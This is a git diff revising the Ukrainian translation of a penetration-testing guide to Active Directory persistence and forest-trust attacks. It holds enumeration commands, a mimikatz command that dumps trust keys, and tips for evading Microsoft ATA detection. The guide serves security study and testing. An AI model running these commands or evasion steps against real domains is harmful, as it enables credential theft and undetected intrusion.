(наприклад Domain Admins і Enterprise Admins), застосовуючи стандартний **Access Control List (ACL)** до цих груп, щоб запобігти несанкціонованим змінам. Проте ця функція може бути зловживана; якщо зловмисник змінить ACL AdminSDHolder, щоб надати повний доступ звичайному користувачу, цей користувач отримає широкі права над усіма привілейованими групами. Цей захід безпеки, призначений для захисту, може виявитися протилежним, дозволяючи небажаний доступ, якщо його не моніторити уважно. +Об'єкт **AdminSDHolder** в Active Directory забезпечує безпеку **привілейованих груп** (наприклад, Domain Admins та Enterprise Admins), застосовуючи стандартний **Access Control List (ACL)** до цих груп, щоб запобігти несанкціонованим змінам. Проте цю функцію можна використати зловмисно; якщо атакуючий змінить ACL AdminSDHolder, надавши повний доступ звичайному користувачу, цей користувач отримає широкий контроль над усіма привілейованими групами. Цей механізм безпеки, призначений для захисту, може негативно обернутися, дозволяючи небажаний доступ, якщо його не контролювати. [**More information about AdminDSHolder Group here.**](privileged-groups-and-token-privileges.md#adminsdholder-group) ### DSRM Credentials -На кожному **Domain Controller (DC)** існує **локальний administrator** акаунт. Отримавши admin права на такій машині, можна витягти локальний Administrator hash за допомогою **mimikatz**. Після цього необхідно змінити реєстр, щоб **дозволити використання цього пароля**, що дасть віддалений доступ до локального Administrator акаунту. +У кожному **Domain Controller (DC)** існує локальний обліковий запис адміністратора. Отримавши admin-права на такій машині, можна витягти hash локального Administrator за допомогою **mimikatz**. Після цього необхідна модифікація реєстру, щоб **enable the use of this password**, що дозволяє віддалений доступ до облікового запису локального Administrator. {{#ref}} @@ -493,7 +493,7 @@ dsrm-credentials.md ### ACL Persistence -Ви можете **надати** деяким **спеціальним permissions** **користувачу** на певні domain об'єкти, що дозволить цьому користувачу **ескалювати привілеї в майбутньому**. +Ви можете **надати** деяким **користувачам спеціальні дозволи** над конкретними об'єктами домену, що дозволить цим користувачам **escalate privileges** у майбутньому. {{#ref}} @@ -502,7 +502,7 @@ acl-persistence-abuse/ ### Security Descriptors -**Security descriptors** використовуються для **зберігання permissions**, які має **об'єкт**. Якщо ви зможете зробити навіть **маленьку зміну** в **security descriptor** об'єкта, ви можете отримати дуже цікаві привілеї над цим об'єктом без необхідності бути членом привілейованої групи. +**Security descriptors** використовуються для **зберігання** **permissions**, які має **об'єкт**. Якщо ви зможете внести навіть **невелику зміну** до **security descriptor** об'єкта, ви можете отримати дуже цікаві привілеї над цим об'єктом без необхідності бути членом привілейованої групи. {{#ref}} @@ -511,7 +511,7 @@ security-descriptors.md ### Skeleton Key -Змініть **LSASS** в пам'яті, щоб встановити **універсальний пароль**, який дає доступ до всіх domain акаунтів. +Змініть **LSASS** в пам'яті, щоб встановити **універсальний пароль**, що надає доступ до всіх облікових записів домену. {{#ref}} @@ -521,7 +521,7 @@ skeleton-key.md ### Custom SSP [Learn what is a SSP (Security Support Provider) here.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\ -Ви можете створити власний **SSP**, щоб **захоплювати** в **чистому тексті** **credentials**, які використовуються для доступу до машини. +Ви можете створити власний **SSP**, щоб **capture** у **clear text** **credentials**, які використовуються для доступу до машини. {{#ref}} @@ -530,8 +530,8 @@ custom-ssp.md ### DCShadow -Реєструє **новий Domain Controller** в AD і використовує його для **push атрибутів** (SIDHistory, SPNs...) на вказані об'єкти **без** залишення будь-яких **логів** щодо **змін**. Вам потрібні DA привілеї і бути в **root domain**.\ -Зауважте, що якщо ви використаєте неправильні дані, з'являться досить помітні логи. +Він реєструє **новий Domain Controller** в AD і використовує його для **push attributes** (SIDHistory, SPNs...) на вказані об'єкти **без** залишення логів щодо **змін**. Для цього потрібні привілеї DA та доступ до **root domain**.\ +Зверніть увагу, що якщо ви використаєте неправильні дані, з'являться досить неприємні логи. {{#ref}} @@ -540,7 +540,7 @@ dcshadow.md ### LAPS Persistence -Раніше ми обговорювали, як ескалювати привілеї, якщо у вас є **достатні permissions для читання LAPS passwords**. Однак ці паролі також можна використовувати для **підтримки persistence**.\ +Раніше ми обговорювали, як ескалювати привілеї, якщо у вас є достатні дозволи для читання паролів LAPS. Проте ці паролі також можна використовувати для **підтримки персистенції**.\ Дивіться: @@ -550,62 +550,62 @@ laps.md ## Forest Privilege Escalation - Domain Trusts -Microsoft вважає **Forest** межою безпеки. Це означає, що **компрометація одного домену може потенційно призвести до компрометації всього Forest**. +Microsoft розглядає **Forest** як межу безпеки. Це означає, що **компрометація одного домену може потенційно призвести до компрометації всього Forest**. ### Basic Information -[**domain trust**]() — це механізм безпеки, який дозволяє користувачу з одного **домену** отримувати доступ до ресурсів в іншому **домені**. Він фактично створює зв'язок між автентифікаційними системами двох доменів, дозволяючи перевіркам автентифікації проходити безперешкодно. Коли домени налаштовують trust, вони обмінюються і зберігають певні **keys** у своїх **Domain Controllers (DCs)**, які важливі для цілісності довіри. +A [**domain trust**]() — це механізм безпеки, який дозволяє користувачу з одного **domain** отримувати доступ до ресурсів в іншому **domain**. Це створює зв'язок між системами автентифікації двох доменів, дозволяючи перевіркам автентичності проходити безшовно. Коли домени встановлюють довіру, вони обмінюються та зберігають певні **keys** у своїх **Domain Controllers (DCs)**, які критично важливі для цілісності довіри. -В типовому сценарії, якщо користувач прагне отримати доступ до сервісу в **trusted domain**, спочатку йому потрібно запросити спеціальний квиток, відомий як **inter-realm TGT**, від DC свого домену. Цей TGT шифрується з використанням shared **key**, який обидва домени погодилися використовувати. Користувач потім пред'являє цей TGT **DC trusted domain**, щоб отримати service ticket (**TGS**). Після успішної валідації inter-realm TGT DC trusted domain видає TGS, надаючи користувачу доступ до сервісу. +У типовому сценарії, якщо користувач хоче отримати доступ до сервісу у **trusted domain**, спочатку він має запросити спеціальний квиток, відомий як **inter-realm TGT**, у DC свого домену. Цей TGT зашифрований спільним **key**, який узгоджено між доменами. Користувач потім подає цей TGT до **DC of the trusted domain**, щоб отримати сервісний квиток (**TGS**). Після успішної валідації inter-realm TGT DC довіреного домену видає TGS, надаючи користувачу доступ до сервісу. **Кроки**: -1. **Client computer** в **Domain 1** починає процес, використовуючи свій **NTLM hash** для запиту **Ticket Granting Ticket (TGT)** від свого **Domain Controller (DC1)**. -2. DC1 видає новий TGT, якщо клієнт автентифікувався успішно. -3. Клієнт потім запитує **inter-realm TGT** від DC1, який потрібен для доступу до ресурсів у **Domain 2**. -4. Inter-realm TGT шифрується з допомогою **trust key**, спільного між DC1 та DC2 як частина двосторонньої domain trust. -5. Клієнт доставляє inter-realm TGT до **Domain 2's Domain Controller (DC2)**. -6. DC2 перевіряє inter-realm TGT, використовуючи свій спільний trust key, і, якщо він дійсний, видає **Ticket Granting Service (TGS)** для сервера у Domain 2, до якого клієнт хоче отримати доступ. -7. Нарешті, клієнт пред'являє цей TGS серверу, який зашифрований з hash акаунту сервера, щоб отримати доступ до сервісу в Domain 2. +1. **Client computer** у **Domain 1** починає процес, використовуючи свій **NTLM hash** для запиту **Ticket Granting Ticket (TGT)** у свого **Domain Controller (DC1)**. +2. DC1 видає новий TGT, якщо клієнт успішно аутентифікований. +3. Клієнт потім запрошує **inter-realm TGT** у DC1, який потрібен для доступу до ресурсів у **Domain 2**. +4. inter-realm TGT шифрується спільним **trust key**, який DC1 та DC2 ділять в рамках двосторонньої довіри доменів. +5. Клієнт передає inter-realm TGT до **Domain 2's Domain Controller (DC2)**. +6. DC2 перевіряє inter-realm TGT за допомогою свого спільного trust key і, якщо він дійсний, видає **Ticket Granting Service (TGS)** для сервера у Domain 2, до якого клієнт хоче отримати доступ. +7. Нарешті, клієнт пред'являє цей TGS серверу, який зашифрований з hash облікового запису сервера, щоб отримати доступ до сервісу в Domain 2. ### Different trusts -Важливо зауважити, що **trust може бути одно- або двостороннім**. У варіанті двох сторін обидва домени довіряють один одному, але в **односпрямованому** відношенні один із доменів буде **trusted**, а інший — **trusting**. У останньому випадку **ви зможете доступатися лише до ресурсів всередині trusting domain з trusted domain**. +Важливо зауважити, що **довіра може бути одно- або двосторонньою**. У варіанті з двосторонньою довірою обидва домени довіряють один одному, але в **one-way** відносинах один домен буде **trusted**, а інший — **trusting**. У останньому випадку **ви зможете отримати доступ лише до ресурсів у trusting domain з trusted domain**. -Якщо Domain A trusts Domain B, то A — trusting domain, а B — trusted. Крім того, в **Domain A** це буде **Outbound trust**; а в **Domain B** — **Inbound trust**. +Якщо Domain A trusts Domain B, то A — trusting domain, а B — trusted domain. Більш того, у **Domain A** це буде **Outbound trust**; а у **Domain B** — **Inbound trust**. -**Різні типи відносин довіри** +**Different trusting relationships** -- **Parent-Child Trusts**: Поширена конфігурація в межах одного forest, де дочірній домен автоматично має двосторонню транзитивну довіру з його батьківським доменом. Це означає, що запити автентифікації можуть вільно проходити між батьком і дочкою. -- **Cross-link Trusts**: Звані "shortcut trusts", вони встановлюються між дочірніми доменами для прискорення процесів реферування. У складних лісах реферування автентифікації зазвичай мають їхати до forest root, а потім вниз до цільового домену. Створюючи cross-links, шлях скорочується, що особливо корисно в географічно розподілених середовищах. -- **External Trusts**: Налаштовуються між різними, несуміжними доменами і за своєю природою не є транзитивними. За документацією Microsoft, external trusts корисні для доступу до ресурсів у домені поза поточним forest, який не пов'язаний forest trust. Безпеку підсилюють за допомогою SID filtering при external trusts. -- **Tree-root Trusts**: Ці довіри автоматично встановлюються між forest root domain і новоствореним tree root. Хоча зустрічаються рідко, tree-root trusts важливі при додаванні нових domain trees до forest, дозволяючи їм зберігати унікальну доменну назву і забезпечуючи двосторонню транзитивність. Більше інформації в [Microsoft's guide](). -- **Forest Trusts**: Цей тип trust — двосторонній транзитивний trust між двома forest root domains, також забезпечує SID filtering для підвищення заходів безпеки. -- **MIT Trusts**: Ці довіри встановлюються з не-Windows, [RFC4120-compliant](https://tools.ietf.org/html/rfc4120) Kerberos доменами. MIT trusts більш спеціалізовані й призначені для інтеграції з Kerberos-системами поза Windows-екосистемою. +- **Parent-Child Trusts**: Звичайна конфігурація в межах одного forest, де дочірній домен автоматично має двосторонню транзитивну довіру з батьківським доменом. Це означає, що запити автентифікації можуть проходити між батьком і дитиною без перешкод. +- **Cross-link Trusts**: Називають також "shortcut trusts", встановлюються між дочірніми доменами для пришвидшення процесів реферальності. У складних лісах запити автентифікації зазвичай мають підніматися до кореня forest і потім опускатися до цільового домену. Створюючи cross-links, цей шлях скорочується, що особливо корисно у географічно розподілених середовищах. +- **External Trusts**: Встановлюються між різними, не пов'язаними доменами і за своєю природою є non-transitive. За [Microsoft's documentation](), external trusts корисні для доступу до ресурсів у домені поза поточним forest, який не підключений через forest trust. Безпека посилюється через SID filtering при external trusts. +- **Tree-root Trusts**: Ці довіри автоматично встановлюються між кореневим доменом forest і щойно доданим tree root. Хоча їх не часто зустрінеш, tree-root trusts важливі для додавання нових дерев доменів до forest, дозволяючи їм зберігати унікальне доменне ім'я і забезпечуючи двосторонню транзитивність. Більше інформації у [Microsoft's guide](). +- **Forest Trusts**: Тип довіри, що є двосторонньою транзитивною довірою між двома кореневими доменами forest, також застосовує SID filtering для підвищення заходів безпеки. +- **MIT Trusts**: Встановлюються з невіконними, [RFC4120-compliant](https://tools.ietf.org/html/rfc4120) Kerberos доменами. MIT trusts більш спеціалізовані й призначені для інтеграції з Kerberos-системами поза Windows-екосистемою. -#### Інші відмінності в **trusting relationships** +#### Other differences in **trusting relationships** -- Відносини довіри можуть бути також **транзитивними** (A trusts B, B trusts C, тоді A trusts C) або **нетранзитивними**. -- Відносини довіри можуть бути налаштовані як **bidirectional trust** (обидва довіряють один одному) або як **one-way trust** (лише один довіряє іншому). +- Довірчі відносини можуть бути також **transitive** (A trusts B, B trusts C, отже A trusts C) або **non-transitive**. +- Довіра може бути налаштована як **bidirectional trust** (обидва довіряють один одному) або як **one-way trust** (лише один довіряє іншому). ### Attack Path -1. **Перелічити** trusting relationships -2. Перевірити, чи будь-який **security principal** (user/group/computer) має **доступ** до ресурсів **іншого домену**, можливо через ACE entries або шляхом перебування в групах іншого домену. Шукайте **відносини між доменами** (довіра була створена саме для цього). -1. kerberoast у цьому випадку може бути ще одним варіантом. -3. **Компрометувати** **акаунти**, які можуть **півотитись** через домени. +1. **Enumerate** довірчі відносини +2. Перевірити, чи має будь-який **security principal** (user/group/computer) **access** до ресурсів **іншого домену**, можливо через ACE entries або шляхом членства в групах іншого домену. Шукайте **relationships across domains** (довіру, ймовірно, створено для цього). +1. kerberoast у цьому випадку може бути ще однією опцією. +3. **Compromise** облікові записи, які можуть **pivot** між доменами. Атакуючі можуть отримати доступ до ресурсів в іншому домені через три основні механізми: -- **Local Group Membership**: Принципали можуть бути додані до локальних груп на машинах, таких як група “Administrators” на сервері, що дає їм значний контроль над цією машиною. -- **Foreign Domain Group Membership**: Принципали також можуть бути членами груп у чужому домені. Проте ефективність цього методу залежить від природи довіри та області застосування групи. -- **Access Control Lists (ACLs)**: Принципали можуть бути вказані в **ACL**, особливо як сутності в **ACEs** всередині **DACL**, надаючи їм доступ до певних ресурсів. Для тих, хто хоче глибше зрозуміти механіку ACLs, DACLs та ACEs, варто прочитати whitepaper “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)”. +- **Local Group Membership**: Принципали можуть бути додані до локальних груп на машинах, наприклад до групи “Administrators” на сервері, що надає значний контроль над цією машиною. +- **Foreign Domain Group Membership**: Принципали також можуть бути членами груп у чужому домені. Проте ефективність цього методу залежить від характеру довіри та області дії групи. +- **Access Control Lists (ACLs)**: Принципали можуть бути вказані в **ACL**, особливо як сутності в **ACEs** всередині **DACL**, надаючи їм доступ до конкретних ресурсів. Для тих, хто хоче глибше зануритись в механіку ACLs, DACLs і ACEs, whitepaper “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” є неоціненною ресурсом. ### Find external users/groups with permissions -Ви можете перевірити **`CN=,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** щоб знайти foreign security principals у домені. Це будуть user/group з **зовнішнього домену/forest**. +Ви можете перевірити **`CN=,CN=ForeignSecurityPrincipals,DC=domain,DC=com`**, щоб знайти foreign security principals у домені. Це будуть користувачі/групи з **зовнішнього домену/лісу**. -Ви можете перевірити це в **Bloodhound** або використовуючи powerview: +Ви можете перевірити це в **Bloodhound** або використовуючи **powerview**: ```powershell # Get users that are i groups outside of the current domain Get-DomainForeignUser @@ -613,7 +613,7 @@ Get-DomainForeignUser # Get groups inside a domain with users our Get-DomainForeignGroupMember ``` -### Child-to-Parent forest privilege escalation +### Ескалація привілеїв у лісі: від дочірнього до батьківського ```bash # Fro powerview Get-DomainTrust @@ -626,7 +626,7 @@ TrustDirection : Bidirectional --> Trust direction (2ways in this case) WhenCreated : 2/19/2021 1:28:00 PM WhenChanged : 2/19/2021 1:28:00 PM ``` -Інші способи перерахування довірчих відносин домену: +Інші способи перерахувати довіри доменів: ```bash # Get DCs nltest /dsgetdc: @@ -639,8 +639,8 @@ nltest /dclist:sub.domain.local nltest /server:dc.sub.domain.local /domain_trusts /all_trusts ``` > [!WARNING] -> Є **2 довірені ключі**, один для _Child --> Parent_ і інший для _Parent_ --> _Child_.\ -> Ви можете побачити, який використовується поточним доменом, за допомогою: +> There are **2 trusted keys**, one for _Child --> Parent_ and another one for _Parent_ --> _Child_.\ +> Можна визначити, який із них використовує поточний домен, за допомогою: > > ```bash > Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local @@ -649,7 +649,7 @@ nltest /server:dc.sub.domain.local /domain_trusts /all_trusts #### SID-History Injection -Підніміться до Enterprise admin у child/parent domain, зловживаючи довірою через SID-History injection: +Ескалація до рівня Enterprise admin у child/parent domain, зловживаючи довірою через SID-History injection: {{#ref}} @@ -658,26 +658,25 @@ sid-history-injection.md #### Exploit writeable Configuration NC -Розуміння того, як можна експлуатувати Configuration Naming Context (NC), є критично важливим. Configuration NC служить централізованим сховищем конфігураційних даних по всьому forest в середовищах Active Directory (AD). Ці дані реплікуються на кожен Domain Controller (DC) у forest, причому writable DC підтримують записувану копію Configuration NC. Щоб скористатися цим, потрібно мати **SYSTEM privileges on a DC**, бажано на child DC. +Важливо розуміти, як можна експлуатувати Configuration Naming Context (NC). Configuration NC слугує центральним сховищем конфігураційних даних по всьому лісу в середовищах Active Directory (AD). Ці дані реплікуються на кожен Domain Controller (DC) у лісі, при цьому writable DCs зберігають записувану копію Configuration NC. Для експлуатації цього механізму потрібні **SYSTEM привілеї на DC**, бажано на child DC. **Link GPO to root DC site** -Контейнер Sites у Configuration NC містить інформацію про сайти всіх комп'ютерів, приєднаних до домену, у межах AD forest. Маючи **SYSTEM privileges** на будь-якому DC, нападник може link GPOs до root DC sites. Ця дія потенційно підриває безпеку root domain шляхом маніпулювання політиками, застосованими до цих сайтів. +Контейнер Sites у Configuration NC містить інформацію про site'и всіх комп'ютерів, приєднаних до домену в AD-лісі. Маючи SYSTEM привілеї на будь-якому DC, атакуючі можуть прив'язувати GPO до root DC sites. Це потенційно ставить під загрозу root домен шляхом маніпуляції політиками, що застосовуються до цих sites. -Для детальної інформації можна переглянути дослідження про [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research). +Для детальнішої інформації можна ознайомитися з дослідженням [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research). **Compromise any gMSA in the forest** -Один вектор атаки полягає в націлюванні на привілейовані gMSA в домені. KDS Root key, необхідний для обчислення паролів gMSA, зберігається в Configuration NC. Маючи **SYSTEM privileges on any DC**, можна отримати доступ до KDS Root key і обчислити паролі будь-якого gMSA по всьому forest. - -Детальний аналіз та покрокові інструкції наведені в: +Вектор атаки включає націлювання на привілейовані gMSA в домені. KDS Root key, необхідний для обчислення паролів gMSA, зберігається в Configuration NC. Маючи SYSTEM привілеї на будь-якому DC, можна отримати доступ до KDS Root key і обчислити паролі для будь-якого gMSA по всьому лісу. +Детальний аналіз і покрокове керівництво доступні в: {{#ref}} golden-dmsa-gmsa.md {{#endref}} -Доповнююча делегована атака на MSA (BadSuccessor — зловживання атрибутами міграції): +Доповнююча делегована MSA-атака (BadSuccessor – зловживання атрибутами міграції): {{#ref}} @@ -688,17 +687,17 @@ badsuccessor-dmsa-migration-abuse.md **Schema change attack** -Цей метод вимагає терпіння — очікування створення нових привілейованих AD об'єктів. Маючи **SYSTEM privileges**, нападник може змінити AD Schema, щоб надати будь-якому користувачу повний контроль над усіма класами. Це може призвести до несанкціонованого доступу та контролю над новоствореними AD об'єктами. +Цей метод вимагає терпіння — очікування створення нових привілейованих AD об'єктів. Маючи SYSTEM привілеї, атакуючий може змінити AD Schema, щоб надати будь-якому користувачу повний контроль над усіма класами. Це може призвести до несанкціонованого доступу й контролю над новоствореними AD об'єктами. -Додаткове читання доступне за посиланням: [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent). +Детальніше можна прочитати у [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent). **From DA to EA with ADCS ESC5** -Уразливість ADCS ESC5 націлена на контроль над об'єктами PKI для створення шаблону сертифіката, який дозволяє аутентифікуватися як будь-який користувач у межах forest. Оскільки об'єкти PKI розташовані в Configuration NC, компрометація writable child DC дозволяє виконати ESC5-атаки. +Уразливість ADCS ESC5 націлена на контроль над об'єктами Public Key Infrastructure (PKI) для створення шаблону сертифіката, який дозволяє автентифікуватися як будь-який користувач у лісі. Оскільки PKI-об'єкти знаходяться в Configuration NC, компрометація writable child DC дозволяє виконати ESC5-атаки. -Більше деталей можна прочитати в [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). У сценаріях без ADCS нападник може налаштувати необхідні компоненти, як обговорюється в [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/). +Більше деталей можна знайти в [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). У сценаріях без ADCS атакуючий може підготувати необхідні компоненти, як описано в [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/). -### Зовнішній Forest Domain - One-Way (Inbound) or bidirectional +### External Forest Domain - One-Way (Inbound) or bidirectional ```bash Get-DomainTrust SourceName : a.domain.local --> Current domain @@ -709,7 +708,7 @@ TrustDirection : Inbound --> Inboud trust WhenCreated : 2/19/2021 10:50:56 PM WhenChanged : 2/19/2021 10:50:56 PM ``` -У цьому сценарії **ваш domain довірений** зовнішнім, що надає вам **невизначені дозволи** над ним. Вам потрібно з'ясувати, **які principals вашого domain мають який доступ до зовнішнього domain**, а потім спробувати це експлуатувати: +У цьому сценарії **ваш domain має довіру з боку зовнішнього** і це дає вам **невизначені права** над ним. Вам потрібно з'ясувати, **які principals вашого domain мають який доступ до зовнішнього domain**, а потім спробувати скористатися цим: {{#ref}} @@ -728,19 +727,19 @@ TrustDirection : Outbound --> Outbound trust WhenCreated : 2/19/2021 10:15:24 PM WhenChanged : 2/19/2021 10:15:24 PM ``` -У цьому сценарії **your domain** довіряє певні **privileges** сутності з **different domains**. +У цьому сценарії **your domain** довіряє певні **privileges** principal з **different domains**. -Проте, коли **domain is trusted** довіреною доменом, trusted domain **creates a user** з **predictable name**, який використовує як пароль **the trusted password**. Це означає, що можливо **access a user from the trusting domain to get inside the trusted one** для його перерахунку та подальшого підвищення привілеїв: +Однак коли **domain is trusted** довіряючим доменом, довірений домен **creates a user** з **predictable name**, який використовує як **password the trusted password**. Це означає, що можливо **access a user from the trusting domain to get inside the trusted one** для його перебору та спроб підвищення привілеїв: {{#ref}} external-forest-domain-one-way-outbound.md {{#endref}} -Інший спосіб компрометації trusted domain — знайти [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links), створений в **протилежному напрямку** довіри домену (що трапляється не дуже часто). +Ще один спосіб скомпрометувати довірений домен — знайти [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links), створений у **opposite direction** довіри доменів (що трапляється не дуже часто). -Ще один спосіб компрометації trusted domain — очікувати на машині, куди **user from the trusted domain can access**, щоб увійти через **RDP**. Тоді нападник може інжектувати код у процес сесії RDP та **access the origin domain of the victim** звідти.\ -Більше того, якщо **victim mounted his hard drive**, то з процесу **RDP session** атакуючий може зберегти **backdoors** у **startup folder of the hard drive**. Ця техніка називається **RDPInception.** +Ще один спосіб скомпрометувати довірений домен — перечекати на машині, до якої **user from the trusted domain can access** через **RDP**. Тоді атакуючий може інжектувати код у процес **RDP session** та звідти **access the origin domain of the victim**.\ +Крім того, якщо **victim mounted his hard drive**, з процесу **RDP session** атакуючий може зберегти **backdoors** у **startup folder of the hard drive**. Ця техніка називається **RDPInception.** {{#ref}} @@ -751,12 +750,12 @@ rdp-sessions-abuse.md ### **SID Filtering:** -- Ризик атак, що використовують атрибут SID history через forest trusts, пом'якшується завдяки SID Filtering, яке активоване за замовчуванням на всіх inter-forest trusts. Це ґрунтується на припущенні, що intra-forest trusts є безпечними, розглядаючи forest, а не domain, як межу безпеки відповідно до позиції Microsoft. +- Ризик атак, що використовують SID history attribute через forest trusts, пом'якшується SID Filtering, яке увімкнено за замовчуванням на всіх inter-forest trusts. Це ґрунтується на припущенні, що intra-forest trusts є безпечними, розглядаючи forest, а не domain, як межу безпеки, згідно з позицією Microsoft. - Однак є нюанс: SID filtering може порушити роботу додатків і доступ користувачів, через що його іноді деактивують. ### **Selective Authentication:** -- Для inter-forest trusts використання Selective Authentication гарантує, що користувачі з обох лесів не автентифікуються автоматично. Натомість потрібні явні дозволи, щоб користувачі могли отримати доступ до доменів і серверів у trusting domain або forest. +- Для inter-forest trusts використання Selective Authentication гарантує, що користувачі з двох лесів не автентифікуються автоматично. Натомість потрібні явні дозволи, щоб користувачі могли отримати доступ до доменів і серверів у trusting domain або forest. - Важливо зазначити, що ці заходи не захищають від експлуатації writable Configuration Naming Context (NC) або атак на trust account. [**More information about domain trusts in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain) @@ -768,33 +767,33 @@ rdp-sessions-abuse.md https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/index.html {{#endref}} -## Some General Defenses +## Деякі загальні заходи захисту [**Learn more about how to protect credentials here.**](../stealing-credentials/credentials-protections.md) ### **Defensive Measures for Credential Protection** -- **Domain Admins Restrictions**: Рекомендується, щоб Domain Admins могли входити лише на Domain Controllers, уникаючи їхнього використання на інших хостах. -- **Service Account Privileges**: Сервіси не повинні запускатися з privileges Domain Admin (DA) для підтримки безпеки. -- **Temporal Privilege Limitation**: Для завдань, що вимагають DA привілеїв, слід обмежувати їхню тривалість. Це можна досягти за допомогою: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` +- **Domain Admins Restrictions**: Рекомендується, щоб Domain Admins могли входити лише на Domain Controllers, уникаючи використання їхніх облікових записів на інших хостах. +- **Service Account Privileges**: Сервіси не повинні запускатися з привілеями Domain Admin (DA) для збереження безпеки. +- **Temporal Privilege Limitation**: Для завдань, що вимагають DA привілеїв, слід обмежувати їх тривалість. Це можна зробити, наприклад, так: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` ### **Implementing Deception Techniques** -- Впровадження deception включає встановлення пасток, як-от приманкові users або computers, з такими ознаками, як паролі, що не спливають, або позначення як Trusted for Delegation. Детальний підхід включає створення користувачів з певними правами або додавання їх до груп з високими привілеями. -- Практичний приклад включає використання інструментів на кшталт: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose` +- Впровадження deception передбачає встановлення пасток, як-от фейкові користувачі або комп'ютери, з такими властивостями, як паролі, що не миняються, або позначені як Trusted for Delegation. Детальний підхід включає створення користувачів зі специфічними правами або додавання їх до груп з високими привілеями. +- Практичний приклад передбачає використання інструментів, наприклад: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose` - Більше про розгортання deception techniques можна знайти на [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception). ### **Identifying Deception** -- **For User Objects**: Підозрілі індикатори включають нетиповий ObjectSID, рідкісні входи, дати створення та малу кількість неправильних паролів. -- **General Indicators**: Порівняння атрибутів потенційних приманкових об'єктів з реальних може виявити невідповідності. Інструменти на кшталт [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) можуть допомогти в ідентифікації таких deception. +- **For User Objects**: Підозрілі індикатори включають нетиповий ObjectSID, рідкі вхідні сесії, дати створення і низькі лічильники невдалих паролів. +- **General Indicators**: Порівняння атрибутів потенційних приманок з реальними об'єктами може виявити невідповідності. Інструменти, як-от [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster), можуть допомогти в ідентифікації таких deception. ### **Bypassing Detection Systems** - **Microsoft ATA Detection Bypass**: -- **User Enumeration**: Уникати перебору сесій на Domain Controllers, щоб запобігти виявленню ATA. -- **Ticket Impersonation**: Використання **aes** keys для створення квитків допомагає уникнути виявлення, не понижуючи до NTLM. -- **DCSync Attacks**: Рекомендується виконувати з не-Domain Controller, щоб уникнути виявлення ATA, оскільки безпосереднє виконання з Domain Controller спричинить сповіщення. +- **User Enumeration**: Уникнення перерахунку сесій на Domain Controllers, щоб не триггерити ATA. +- **Ticket Impersonation**: Використання **aes** ключів для створення ticket-ів допомагає уникнути виявлення, оскільки це не приводить до пониження до NTLM. +- **DCSync Attacks**: Виконання атак не з Domain Controller, щоб уникнути виявлення ATA; виконання безпосередньо з Domain Controller викличе сповіщення. ## References diff --git a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md index e1aa2803d..39dedc29e 100644 --- a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md +++ b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md @@ -1,8 +1,8 @@ -# Abusing Active Directory ACLs/ACEs +# Зловживання Active Directory ACLs/ACEs {{#include ../../../banners/hacktricks-training.md}} -**Ця сторінка здебільшого є підсумком технік з** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **та** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Для докладніших відомостей див. оригінальні статті.** +**Ця сторінка здебільшого є підсумком технік з** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **та** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Для детальнішої інформації див. оригінальні статті.** ## BadSuccessor @@ -13,30 +13,30 @@ BadSuccessor.md ## **GenericAll Rights on User** -Це право надає атакуючому повний контроль над 